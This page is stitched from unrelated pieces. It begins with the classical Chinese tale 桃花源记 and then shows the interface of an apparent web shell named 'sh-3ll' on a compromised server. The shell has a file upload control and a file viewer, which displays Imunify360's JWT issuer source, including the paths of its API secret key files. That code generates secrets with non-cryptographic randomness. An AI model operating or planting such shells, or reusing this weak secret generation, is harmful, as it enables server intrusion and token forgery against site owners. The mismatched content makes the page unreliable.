晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/api/
Upload File :
Current File : //opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/api/jwt_issuer.py
import random
import os
import string
from datetime import datetime, timedelta
from pathlib import Path

from defence360agent.subsys.panels.base import InvalidTokenException
from defence360agent.contracts.config import UIRole, UserType
from defence360agent.utils import atomic_rewrite

UIRoleToUserType = {
    UIRole.ADMIN: UserType.ROOT,
    UIRole.CLIENT: UserType.NON_ROOT,
}


class JWTIssuer:
    JWT_SECRET_FILE = Path("/var/imunify360/.api-secret.key")
    JWT_SECRET_FILE_PREV = Path("/var/imunify360/.api-secret-prev.key")
    JWT_TOKEN_EXPIRATION_TTL_HOURS = os.getenv(
        "I360_JWT_TOKEN_EXPIRATION_TTL_HOURS", 6
    )
    JWT_SECRET_EXPIRATION_TTL_HOURS = os.getenv(
        "I360_JWT_SECRET_EXPIRATION_TTL_HOURS", 24
    )
    TOKEN_EXPIRATION_TTL = timedelta(hours=int(JWT_TOKEN_EXPIRATION_TTL_HOURS))
    SECRET_EXPIRATION_TTL = timedelta(
        hours=int(JWT_SECRET_EXPIRATION_TTL_HOURS)
    )

    @classmethod
    def is_secret_expired(cls):
        try:
            stat = os.stat(cls.JWT_SECRET_FILE)
        except FileNotFoundError:
            st_mtime = 0.0
        else:
            st_mtime = stat.st_mtime
        return (
            datetime.now().timestamp() - st_mtime
            > cls.SECRET_EXPIRATION_TTL.seconds
        )

    @classmethod
    def _get_secret(cls) -> str:
        if cls.is_secret_expired():
            new_secret = "".join(
                random.choice(string.ascii_uppercase + string.digits)
                for _ in range(64)
            )
            if not cls.JWT_SECRET_FILE.exists():
                cls.JWT_SECRET_FILE.touch()
            atomic_rewrite(
                str(cls.JWT_SECRET_FILE),
                new_secret,
                backup=str(cls.JWT_SECRET_FILE_PREV),
                uid=-1,
                permissions=0o600,
            )
            return new_secret
        else:
            return cls.JWT_SECRET_FILE.read_text()

    @classmethod
    def get_token(cls, user_name: str, user_type: UIRole) -> str:
        """
        Generates a token with several encoded fields:
            user name,
            user type,
            expiration timestamp
        """

        import jwt

        return jwt.encode(
            {
                "user_type": user_type,
                "username": user_name,
                "exp": (datetime.now() + cls.TOKEN_EXPIRATION_TTL).timestamp(),
            },
            cls._get_secret(),
        )

    @classmethod
    def _parse_token(cls, token: str, secret: str) -> dict | None:
        import jwt

        # if handle these exceptions at global level,
        # jwt shoud be imported there,
        # increasing memory consumation
        try:
            return jwt.decode(token, secret, algorithms=["HS256"])
        except jwt.PyJWTError:
            pass

    @classmethod
    def parse_token(cls, token: str):
        for secret_pth in [cls.JWT_SECRET_FILE, cls.JWT_SECRET_FILE_PREV]:
            if not secret_pth.exists():
                continue
            decoded = cls._parse_token(token, secret_pth.read_text())
            if decoded:
                return {
                    "user_name": decoded["username"],
                    "user_type": UIRoleToUserType[decoded["user_type"]],
                }
        else:
            raise InvalidTokenException("INVALID_TOKEN")